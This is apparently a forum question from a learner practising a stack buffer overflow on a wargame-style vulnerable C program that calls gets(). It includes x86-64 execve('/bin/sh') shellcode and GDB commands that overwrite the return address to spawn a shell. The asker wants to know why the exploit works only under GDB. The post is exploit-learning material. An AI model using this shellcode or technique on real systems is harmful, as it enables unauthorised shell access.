If I modify return address directly with GDB, buffer overflow success and I can get shell. However when I don't use GDB, I can't get shell with same shell code. I can't find any difference between them.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
int main(void)
{
char str[256];
char *ptr;
int a;
printf("문장을 입력하세요.\n");
gets(str);
printf("%s\n", str);
}
Above is my victim program 'ftz_level12'.
"\x48\x31\xd2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\xb0\x3b\x0f\x05"
If I use gdb's set instruction, I can get shell like this
(gdb) r
Starting program: /home/knight/bof_prac/ftz_level12
문장을 입력하세요.
hello
Breakpoint 1, 0x000000000040059c in main ()
(gdb) i r rbp
rbp 0x7fffffffe480 0x7fffffffe480
(gdb) set {int}0x7fffffffe488 = 0xffffeed0
(gdb) set {int}0x7fffffffe48c = 0x7fff
(gdb) disable
(gdb) c
Continuing.
hello
process 4443 is executing new program: /bin/dash
$
If I don't use set instruction I can't get shell
(gdb) r < code
Starting program: /home/knight/bof_prac/ftz_level12 < code
문장을 입력하세요.
????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????abcdefgh?????
process 4449 is executing new program: /bin/dash
[Inferior 1 (process 4449) exited normally]
Above is shell code which I used. I'm using ubuntu 16.04 and x64 architecture